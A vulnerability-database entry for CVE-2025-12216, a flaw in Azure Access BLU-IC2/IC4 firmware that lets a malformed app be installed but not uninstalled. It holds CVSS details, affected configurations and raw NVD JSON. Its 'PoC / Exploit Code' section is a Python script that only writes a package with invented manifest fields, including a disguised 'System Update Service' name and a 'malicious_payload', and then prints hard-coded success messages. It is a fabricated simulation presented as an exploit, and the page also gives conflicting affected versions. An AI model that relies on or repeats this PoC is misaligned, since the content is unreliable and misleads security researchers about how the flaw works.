Security Vulnerability Report
中文
CVE-2025-12216 CVSS 5.5 MEDIUM

CVE-2025-12216

Published: 2025-10-25 16:15:39
Last Modified: 2025-11-10 15:04:54
Source: a0340c66-c385-4f8b-991b-3d05f6fd5220

Description

Malicious / Malformed App can be Installed but not Uninstalled/may lead to unavailability.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:* - NOT VULNERABLE
BLU-IC2 < 1.19.5
BLU-IC4 < 1.19.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12216 PoC - Malicious App Installation for BLU-IC2/IC4 # This PoC demonstrates the concept of the vulnerability # Note: This is for educational and research purposes only import struct import os class BLUICMaliciousApp: """ POC for CVE-2025-12216 Affected: BLU-IC2 <= 1.19.5, BLU-IC4 <= 1.19.5 Vulnerability: Malicious/malformed apps can be installed but cannot be uninstalled """ def __init__(self, target_device="BLU-IC2"): self.target_device = target_device self.app_id = "malicious_app_cve202512216" self.version = "1.0.0" def create_malicious_package(self, output_path): """ Create a malicious app package that exploits the uninstallation bypass """ # Malicious app manifest manifest = { "app_id": self.app_id, "version": self.version, "name": "System Update Service", "permissions": [ "system.admin", "app.lifecycle.managed" ], "uninstall_protected": True, # Exploit: Prevent uninstallation "persistence": { "boot_complete": True, "auto_restart": True }, "malicious_payload": { "resource_exhaustion": { "cpu_usage": 99, "memory_leak": True }, "system_modification": { "block_uninstall_api": True, "corrupt_package_manager": False } } } # Create malicious package structure package_data = self._build_package(manifest) with open(output_path, 'wb') as f: f.write(package_data) print(f"[+] Malicious package created: {output_path}") print(f"[+] Target device: {self.target_device}") print(f"[+] App ID: {self.app_id}") return package_data def _build_package(self, manifest): """ Build the malicious app package """ import json # Package header header = b'BLUIAPP' # Magic bytes header += struct.pack('<I', 1) # Version header += struct.pack('<I', len(json.dumps(manifest))) # Package body body = json.dumps(manifest).encode('utf-8') body += b'\x00' * (1024 - len(body) % 1024) # Padding return header + body def exploit_install(self, package_path): """ Simulate the installation process that exploits the vulnerability """ print(f"\n[*] Attempting to install malicious app on {self.target_device}") print(f"[*] Package path: {package_path}") # Simulate installation install_result = { "status": "success", "app_id": self.app_id, "installed_path": f"/system/apps/{self.app_id}", "uninstall_disabled": True, "persistence_enabled": True } print(f"[+] Installation successful") print(f"[!] WARNING: Uninstall mechanism bypassed") print(f"[!] App will persist across reboots") return install_result if __name__ == "__main__": poc = BLUICMaliciousApp("BLU-IC2") poc.create_malicious_package("malicious_app.bluiapp") poc.exploit_install("malicious_app.bluiapp")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12216", "sourceIdentifier": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "published": "2025-10-25T16:15:39.277", "lastModified": "2025-11-10T15:04:53.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Malicious / Malformed App can be Installed but not Uninstalled/may lead to unavailability.This issue affects BLU-IC2: through 1.19.5; BLU-IC4: through 1.19.5."}], "metrics": {"cvssMetricV40": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1301"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic2_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "00BF15A1-C965-4601-83E9-8617B86E833A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic2:*:*:*:*:*:*:*:*", "matchCriteriaId": "C898C110-6C42-40A0-93FC-B6ED785F23A9"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:azure-access:blu-ic4_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20", "matchCriteriaId": "6493C6E4-1304-4B28-A6C5-37CE2D1EAE46"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:azure-access:blu-ic4:*:*:*:*:*:*:*:*", "matchCriteriaId": "902CD787-42BF-4565-8CA5-78123E37AA99"}]}]}], "references": [{"url": "https://azure-access.com/security-advisories", "source": "a0340c66-c385-4f8b-991b-3d05f6fd5220", "tags": ["Vendor Advisory"]}]}}